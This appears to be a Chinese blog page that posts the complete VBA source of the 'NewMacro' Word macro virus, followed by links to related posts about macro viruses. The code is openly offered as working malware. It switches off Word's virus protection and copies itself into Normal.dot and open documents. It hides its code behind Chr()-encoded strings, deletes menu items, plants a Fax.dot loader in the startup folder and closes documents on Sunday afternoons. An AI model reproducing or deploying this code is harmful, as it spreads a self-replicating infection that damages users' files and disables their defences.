NewMacro 病毒源代码

最新推荐文章于 2023-11-21 16:15:03 发布
最新推荐文章于 2023-11-21 16:15:03 发布
阅读量1.3k 收藏 2
点赞数
分类专栏： 病毒



Sub AutoOpen()
On Error Resume Next
Application.ShowVisualBasicEditor = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
Call Routine
Call Setpath
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Macro_Run" Then GoTo Label_Exit
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "NewMacro" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Pad = Options.DefaultFilePath(wdDocumentsPath)
ModuleLength = Doc.VBProject.VBComponents("NewMacro").CodeModule.CountOfLines
NormalTemplate.Save
Doc.VBProject.VBComponents("NewMacro").Export Pad + ("\NewMacro.txt")
Call CreateMacro
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
If NormInstall = True Then Call Create_Loader
Call Restorepath
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub CreateMacro()
Application.ScreenUpdating = False
Dim decrypt(23)
decrypt(1) = Chr(65) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(117) + Chr(116) + Chr(101) + Chr(32) + Chr(86) + Chr(66) + Chr(95) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(95) + Chr(82) + Chr(117) + Chr(110) + Chr(34)
decrypt(2) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41)
decrypt(3) = Chr(79) + Chr(110) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(82) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(78) + Chr(101) + Chr(120) + Chr(116)
decrypt(4) = Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101)
decrypt(5) = Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(61) + Chr(32) + Chr(79) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(68) + Chr(101) + Chr(102) + Chr(97) + Chr(117) + Chr(108) + Chr(116) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(80) + Chr(97) + Chr(116) + Chr(104) + Chr(40) + Chr(119) + Chr(100) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(80) + Chr(97) + Chr(116) + Chr(104) + Chr(41)
decrypt(6) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32) + Chr(49) + Chr(32) + Chr(84) + Chr(111) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116)
decrypt(7) = Chr(73) + Chr(102) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101)
decrypt(8) = Chr(78) + Chr(101) + Chr(120) + Chr(116) + Chr(32) + Chr(73)
decrypt(9) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32) + Chr(49) + Chr(32) + Chr(84) + Chr(111) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116)
decrypt(10) = Chr(73) + Chr(102) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101)
decrypt(11) = Chr(78) + Chr(101) + Chr(120) + Chr(116) + Chr(32) + Chr(73)
decrypt(12) = Chr(73) + Chr(102) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) + Chr(32) + Chr(65) + Chr(110) + Chr(100) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) + Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116)
decrypt(13) = Chr(73) + Chr(102) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110)
decrypt(14) = Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(47) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34) + Chr(41)
decrypt(15) = Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101)
decrypt(16) = Chr(69) + Chr(108) + Chr(115) + Chr(101)
decrypt(17) = Chr(68) + Chr(110) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(70) + Chr(117) + Chr(108) + Chr(108) + Chr(78) + Chr(97) + Chr(109) + Chr(101)
decrypt(18) = Chr(73) + Chr(102) + Chr(32) + Chr(76) + Chr(101) + Chr(102) + Chr(116) + Chr(36) + Chr(40) + Chr(68) + Chr(110) + Chr(97) + Chr(109) + Chr(101) + Chr(44) + Chr(32) + Chr(56) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) + Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116)
decrypt(19) = Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(47) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34) + Chr(41)
decrypt(20) = Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(65) + Chr(115) + Chr(32) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(58) + Chr(61) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(70) + Chr(117) + Chr(108) + Chr(108) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(44) + Chr(32) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(70) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(116) + Chr(58) + Chr(61) + Chr(119) + Chr(100) + Chr(70) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(116) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116)
decrypt(21) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(73) + Chr(102)
decrypt(22) = Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116) + Chr(58)
decrypt(23) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(83) + Chr(117) + Chr(98)
Pad = Options.DefaultFilePath(wdDocumentsPath)
FileNumber = FreeFile
Open Pad + "\Macro_Run.txt" For Output As #FileNumber
For X = 1 To 23
Print #FileNumber, decrypt(X)
Next X
Close #FileNumber
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True
Next I
If NormInstall = True Then
Set Obj = NormalTemplate.VBProject
Else
Set Obj = ActiveDocument.VBProject
End If
With Application
Obj.VBComponents("NewMacro").CodeModule.ReplaceLine 85, Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(34) + Chr(92) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(95) + Chr(82) + Chr(117) + Chr(110) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34)
Call Do_The_Thing
Obj.VBComponents("NewMacro").CodeModule.ReplaceLine 85, "'Temporary line do not remove!"
NormalTemplate.Save
End With
Application.ScreenUpdating = True
End Sub
Sub Do_The_Thing()
Pad = Options.DefaultFilePath(wdDocumentsPath)
'Temporary line do not remove!
End Sub
Sub ToolsMacro()
On Error Resume Next
NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(49) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41)
ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(49) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41)
NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(50) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41)
ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(50) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41)
Call Hide
NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, "'Temporary line. Do NOT remove!"
ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, "'Temporary line. Do NOT remove!"
NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, "'Temporary line. Do NOT remove!"
ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, "'Temporary line. Do NOT remove!"
NormalTemplate.Save
End Sub
Sub Hide()
On Error Resume Next
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled
Pad = Options.DefaultFilePath(wdDocumentsPath)
Set Doc = NormalTemplate
Again:
For I = 1 To Doc.VBProject.VBComponents.Count
If Doc <> NormalTemplate Then GoTo Over
If Doc.VBProject.VBComponents(I).Name = "Macro_Run" Then
Doc.VBProject.VBComponents(I).Export Pad + "\Module1.bas"
End If
Over:
If Doc.VBProject.VBComponents(I).Name = "NewMacro" Then
Doc.VBProject.VBComponents(I).Export Pad + "\Module2.bas"
End If
a = Doc.VBProject.VBComponents(I).CodeModule.CountOfLines
Doc.VBProject.VBComponents(I).CodeModule.DeleteLines 1, a
Next I
If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done
Flag = 1
Set Doc = ActiveDocument
GoTo Again
Done:
Flag = 0
NormalTemplate.Saved = True
ActiveDocument.Saved = True
ActiveDocument.Saved = True
Application.Dialogs(wdDialogToolsMacro).Show
Set Doc = NormalTemplate
Again1:
For I = 1 To Doc.VBProject.VBComponents.Count
If Doc <> NormalTemplate Then GoTo Over2
If Doc.VBProject.VBComponents(I).Name = "Macro_Run" Then
'Temporary line. Do NOT remove!
End If
Over2:
If Doc.VBProject.VBComponents(I).Name = "NewMacro" Then
'Temporary line. Do NOT remove!
End If
Next I
If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done1
Flag = 1
Set Doc = ActiveDocument
GoTo Again1
Done1:
Flag = 0
Kill Pad + ("\Module1.bas")
Kill Pad + ("\Module2.bas")
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Done2
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Done2:
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True
If NormalTemplate.VBProject.VBComponents(I).Name = "Macro_Run" Then GoTo Out
Next I
If NormInstall = False Then
Pad = Options.DefaultFilePath(wdDocumentsPath)
NormalTemplate.VBProject.VBComponents.Import Pad + "\Macro_Run.txt"
End If
Out:
AddIns("Fax.dot").Delete
StartupPad = Options.DefaultFilePath(wdUserOptionsPath)
Options.DefaultFilePath(wdUserOptionsPath) = ""
Options.DefaultFilePath(wdStartupPath) = StartupPad
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
Assistant.Visible = True
Assistant.Help
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoExit()
On Error Resume Next
Pad = Options.DefaultFilePath(wdDocumentsPath)
Application.NormalTemplate.VBProject.VBComponents.Remove Application.NormalTemplate.VBProject.VBComponents("Macro_Run")
Call Setpath
NormalTemplate.Save
End Sub
Sub Routine()
On Error Resume Next
MyTime = Time
If WeekDay(Now) = 1 And Left$(MyTime, 1) = "5" And Right$(MyTime, 2) = "PM" Then
With Assistant.NewBalloon
.Icon = msoIconMsAlert
.Text = "Doesn't work on Sunday Afternoon. Try again Monday."
.Heading = "NewMacro message:" & Chr$(13) & "Document not available."
.Animation = msoAnimationWorkingAtSomething
Assistant.Visible = True
.Show
End With
Assistant.Visible = False
ActiveDocument.Close
End If
End Sub
Sub Create_Loader()
On Error Resume Next
Pad1 = Options.DefaultFilePath(wdStartupPath)
MyFile = Dir(Pad1 + "\Fax.dot")
If MyFile = "" Then
Set aDoc = NormalTemplate.OpenAsDocument
With aDoc
.SaveAs FileName:=Pad1 + "\Fax.dot"
.Close SaveChanges:=wdDoNotSaveChanges
End With
End If
End Sub
Sub Setpath()
TempFilePad = Options.DefaultFilePath(wdTempFilePath)
StartupPad = Options.DefaultFilePath(wdStartupPath)
Options.DefaultFilePath(wdUserOptionsPath) = StartupPad
Options.DefaultFilePath(wdStartupPath) = TempFilePad
End Sub
Sub Restorepath()
StartupPad = Options.DefaultFilePath(wdUserOptionsPath)
Options.DefaultFilePath(wdUserOptionsPath) = ""
Options.DefaultFilePath(wdStartupPath) = StartupPad
End Sub

kutekute
关注
专栏目录
台湾一号宏病毒原始源代码
家有恶妻 请勿靠近
08-01 7777
Taiwan No.1 病毒原始码  Dim Shared nm(4)  Sub MAIN  DisableInput 1  If Day(Now()) = 13 Then  try:    On Error Goto 0    On Error Goto try    test = - 1    con = 1    tog$ = ""    i =
宏病毒
热门推荐
孤的博客
04-16 1万+
宏病毒定义 宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合，这种病毒宏的集合影响到计算机的使用，并能通过文档及模板进行自我复制及传播。 支持宏病毒的应用系统特点 要达到宏病毒传染的目的，系统须具备以下特性： 可以把特定的宏命令代码附加在指定文件上； 可以实现宏命令在不同文件之间的共享和传递； 可以在未经使用者许可的情况下获取某种控制权。 可支持宏病毒的应用系统 Micro...
VBA Dumper v0.1.4.2， 提取office文档中的VBA代码，监查宏病毒恢复代码(演示版)
weixin_30485799的博客
05-22 473
VBA Dumper 0.1.4.2，填补国内同类程序空白，至少俺没在百度上找到国内谁在俺之前公开发布过类似软件，俺之后倒是有... 有交流技术问题的，请联系QQ:564955427 Email：charltsing@gmail.com,转载请声明。 此程序为演示版，可以在无office的环境下Dump出复合文档的VBA代码（xls\doc\pptm等），每个模块最大Dump长度不超过六百个...
恶意代码实验3：Word宏病毒实验
最新发布
qq_63949327的博客
11-21 2775
只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。回答不正确三次，即可自动跳出病毒程序，但那时已经出现几十个文档。1、打开的宏编辑器如图所示，即可编写病毒代码。
宏&一个简单的宏病毒示例
dengdouweng1282的博客
06-30 2097
基于VisualBasicForApplications 其一：录制宏 在word，视图，宏，录制宏选项。 操作比较简单，不再赘述。 （注意根据需求选择normal还是当前文档） 例如：录制宏：快捷键设为空格，将某些字段设为隐藏/空白。可以隐藏信息。（虽然很简陋） 其二：编辑宏 视图 宏 查看宏 创建 （注意根据需求选择normal还是当前文档） CDO组件发送邮件。 用了ActiveD...
Word宏病毒
qq_43717119的博客
06-22 1万+
Word宏病毒 【实验目的】 1、演示宏的编写。 2、说明宏的原理及其安全漏洞和缺陷。 3、理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识。 【实验环境】 在windows虚拟机中演示word宏病毒的发生机制，以及如何清除病毒的一系列操作宏病毒样本：自我复制及感染病毒(copy.txt)类台湾一号病毒(No1.txt) 实验注意事项：为了保证该试验不至于造成较大破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 【实验预备知识点】 Wo
病毒分析常见速查
Snake_74的博客
06-30 3536
文章目录注册表父进程环境变量与对应路径宏病毒相关常用"宏"的名称隐蔽执行手段调用外部例程和命令执行宏病毒恶意行为常用字符 注册表 父进程 进程名 作用 路径 EQNEDT32 公式编辑器 C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE winword office办公软件 环境变量与...
VB自动打开EXCEL带有密码的文件跳过宏_VB自动启用EXCEL宏_
10-03
在IT行业中，VB（Visual Basic）是一种常用的编程语言，它被广泛用于开发Windows应用程序。Excel是Microsoft Office...然而，由于涉及到宏的安全性，务必确保对源代码进行充分的测试和验证，以防止潜在的恶意代码执行。
《信息安全原理》复习笔记
whooiif的博客
04-25 5283
整了6k字然而我发现基本概念基本没弄清楚。。 考完试了然而这份复习笔记跟考试并无关系。。 有错。。不全。。加粗的也不是重点。。 下次复习。。一定记得看图。。。。 【0.1】 1. 安全性与花费的tradeoff；一些常见的安全错觉(myth)；insider 进攻更普遍，因为有access、knowledge、opportunity。 【0.2】 1. 第一个中国密码：太公
nasm中文手册
qq_25205059的博客
03-11 1084
Nasm中文手册 -------------------------------------------------------------------------------- 第一章: 简介 ----------------------- 1.1 什么是NASM NASM是一个为可移植性与模块化而设计的一个80x86的汇编器。它支持相当多 的目标文件格式...
骷髅头硬盘锁源码
08-31
很强大的硬盘锁
